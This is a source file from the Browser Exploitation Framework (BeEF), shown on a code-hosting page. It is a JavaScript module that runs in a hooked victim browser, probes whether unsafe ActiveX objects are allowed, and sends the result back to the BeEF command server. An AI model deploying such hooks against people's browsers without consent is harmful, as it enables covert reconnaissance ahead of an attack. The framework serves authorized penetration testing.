Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/browser/detect_unsafe_activex/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
var unsafe = true;
10
var result = "";
11
var test;
12
13
try {
14
test = new ActiveXObject("WbemScripting.SWbemLocator");
15
} catch (e) {
16
unsafe = false;
17
}
18
19
test = null;
20
21
if (unsafe) {
22
result = "Browser is configured for unsafe ActiveX";
23
} else {
24
result = "Browser is NOT configured for unsafe ActiveX";
25
}
26
27
beef.net.send("<%= @command_url %>", <%= @command_id %>, "unsafe_activex="+result);
28
29
});
30
31
32